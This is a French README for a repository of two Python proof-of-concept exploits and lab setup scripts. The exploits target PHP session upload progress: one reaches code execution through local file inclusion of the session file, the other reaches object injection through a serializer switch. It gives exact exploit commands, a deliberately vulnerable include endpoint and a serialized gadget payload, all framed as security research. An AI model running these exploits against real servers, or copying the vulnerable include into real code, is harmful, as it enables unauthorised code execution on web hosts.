
Deux PoC Python pour l'RCE via la progression d'upload de session PHP : exécution de code par LFI sur fichier de session et injection d'objet via le sérialiseur php_binary vers php, avec des scripts de mise en place du lab.
https://github.com/user-attachments/assets/7d25d259-ec00-4e3a-810c-09098f0afb5f
https://github.com/user-attachments/assets/00a0d3e7-bd78-4bdb-992f-0110fc580746
Ce dépôt contient deux PoC de laboratoire pour la progression d'upload de session PHP. Le gestionnaire de progression d'upload écrit un champ contrôlé par l'attaquant dans le fichier de session avant l'exécution du code applicatif :
poc.py) : le gestionnaire stocke un nom de fichier ou une valeur
de progression contenant du code PHP. Si une LFI autorisée inclut le fichier de session,
ce code s'exécute.poc-php-binary.py) : l'enregistrement de progression est écrit
avec php_binary, puis l'application bascule vers le sérialiseur php et
appelle session_start(). Le décodeur php désérialise la valeur de progression
de l'attaquant, prouvant une primitive d'injection d'objet sans aucune LFI.Utilisez ces outils uniquement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests.
Le point de terminaison ?file= généré est volontairement non sécurisé et doit rester dans un laboratoire.
| Fichier | Objectif |
|---|---|
poc.py | PoC d'upload multipart avec injection --filename / --progress / --field-name et interrogation LFI optionnelle |
poc-php-binary.py | PoC de sérialisation php_binary -> php sans LFI |
setup.sh | Déploie le laboratoire LFI sur fichier de session sur le port 80 (installe Apache/PHP si absent) |
setup-php-binary.sh | Le même script que setup.sh ; diffère uniquement par le index.php déployé et par la portée de session.serialize_handler=php_binary |
poc.mp4 | Démo : LFI sur fichier de session |
poc-php-binary.mp4 | Démo : changement de sérialiseur php_binary |
setup.sh détecte la distribution, installe le serveur web et les paquets PHP
s'ils sont absents, vide /var/www/html, écrit uniquement index.php, et
recharge le serveur web. Exécutez-le en tant qu'utilisateur disposant des droits sudo ; le script appelle
sudo lui-même, il n'est donc pas nécessaire de préfixer l'invocation entière :
bash setup.sh
Lorsqu'il se termine, il affiche [+] Deployed: /var/www/html/index.php et l'URL
à tester.
Installe httpd, php et php-fpm. Comme mod_php n'est plus empaqueté
à cet endroit, le script écrit également /etc/httpd/conf.d/php.conf pour router les requêtes .php
vers le socket php-fpm, puis démarre php-fpm et httpd. La page est
servie sur le port Apache habituel :
http://<host>/index.php
Installe apache2, php et libapache2-mod-php (mod_php), et active
le module PHP s'il n'est pas déjà chargé. La page est servie sur le port
Apache normal :
http://<host>/index.php
La configuration ne définit pas les valeurs PHP INI liées aux sessions. Elle utilise la configuration PHP du système.
La page générée :
<?php
declare(strict_types=1);
if (isset($_GET['file']) && $_GET['file'] !== '') {
header('Content-Type: text/plain; charset=utf-8');
include $_GET['file'];
} else {
echo "hello, world\n";
}
Vérifiez-le :
curl http://192.168.122.170/index.php
# hello, world
setup.sh efface /var/www/html ; ne l'exécutez pas sur un hôte hébergeant un site réel.
poc.pyLe PoC demande une confirmation avant l'envoi. --duration est le nombre de
chunks d'upload d'une seconde ; la valeur par défaut est 45. Choisissez exactement un mode
d'injection :
--filename place la charge utile PHP dans le nom de fichier multipart.--progress la place dans la valeur PHP_SESSION_UPLOAD_PROGRESS (la charge utile
ne peut pas contenir |).--field-name la place dans le nom de champ de la partie fichier, que le gestionnaire
stocke brut dans files[].field_name (ext/session/session.c:3321) sans
filtrage des entrées. La charge utile ne peut pas contenir ", [ ou ] (le parseur
multipart lit le nom de champ jusqu'au guillemet fermant et rejette les
crochets non équilibrés).--lfi nécessite l'un de --fedora, --ubuntu ou --tmp afin que le PoC interroge le
fichier de session pour la bonne plateforme. Sur Ubuntu :
python3 poc.py \
--remote 'http://192.168.122.170/index.php' \
--filename \
--lfi 'http://192.168.122.170/index.php?file={file}' \
--ubuntu
Sur Fedora / RHEL :
python3 poc.py \
--remote 'http://192.168.122.170/index.php' \
--filename \
--lfi 'http://192.168.122.170/index.php?file={file}' \
--fedora
Le PoC attend huit secondes, puis interroge la LFI une fois par seconde pendant que
l'upload est toujours en cours. Il s'arrête dès qu'il voit la sortie du payload exécuté
(RCE <version>), interrompt l'upload restant et se termine avec le code 0. Si l'upload se termine
sans correspondance, il se termine avec le code 1. Les durées inférieures à 20 secondes sont portées à 20 lorsque
l'interrogation est activée, car PHP a besoin d'environ dix secondes pour écrire
l'entrée de progression.
Sans --lfi, les flags de plateforme sont facultatifs ; le PoC envoie uniquement l'upload
et vous pouvez inspecter le fichier de session manuellement.
Le flag de plateforme sélectionne le fichier à surveiller :
--fedora /var/lib/php/session/sess_pwnd00000000000001
--ubuntu /var/lib/php/sessions/sess_pwnd00000000000001
--tmp /tmp/sess_pwnd00000000000001
php_binary -> php changement de sérialiseursetup-php-binary.sh est le même script que setup.sh — les deux fichiers sont
identiques octet pour octet à l'exception d'un bloc lab-specific configuration (le index.php
qui est déployé et le sérialiseur sous lequel le lab s'exécute). Il installe les paquets
si nécessaire, vide /var/www/html, écrit son index.php, et recharge Apache,
et il restreint en outre session.serialize_handler=php_binary au lab :
Fedora/RHEL utilisent un pool php-fpm dédié raccordé via /etc/httpd/conf.d/php.conf ;
Ubuntu/Debian utilisent un php_value dans un extrait de conf Apache. Réexécuter setup.sh
supprime cette restriction et restaure le lab LFI d'origine, de sorte que les deux scripts font basculer
le lab partagé /var/www/html dans un sens puis dans l'autre.
bash setup-php-binary.sh
Le point de terminaison commence par session.serialize_handler=php_binary, bascule vers
php à l'exécution, et appelle session_start() :
<?php
declare(strict_types=1);
class Gadget {
public function __wakeup() { echo "SERIALIZED_WAKEUP\n"; }
public function __destruct() { echo "SERIALIZED_DESTRUCT\n"; }
}
ini_set('session.serialize_handler', 'php');
session_start();
echo "hello, world\n";
poc-php-binary.pypython3 poc-php-binary.py \
--remote 'http://192.168.122.170/index.php'
Le script est en mode sérialisation uniquement ; il n'existe pas de mode LFI. Il envoie la valeur de progression
x|O:6:"Gadget":0:{} (ou la classe nommée par --gadget) plus une partie fichier
normale. --duration vaut 45 par défaut et est relevé à au moins 20. Après huit
secondes, il interroge la même URL avec le même PHPSESSID chaque seconde, affiche
chaque réponse et se termine avec le code 0 dès que SERIALIZED_WAKEUP ou
SERIALIZED_DESTRUCT apparaît. Si l'envoi se termine sans correspondance, il se termine avec le code 1.
Le préfixe x| fournit le délimiteur que php_binary n'écrit pas, de sorte que le
décodeur php voit l'objet sérialisé comme valeur de progression.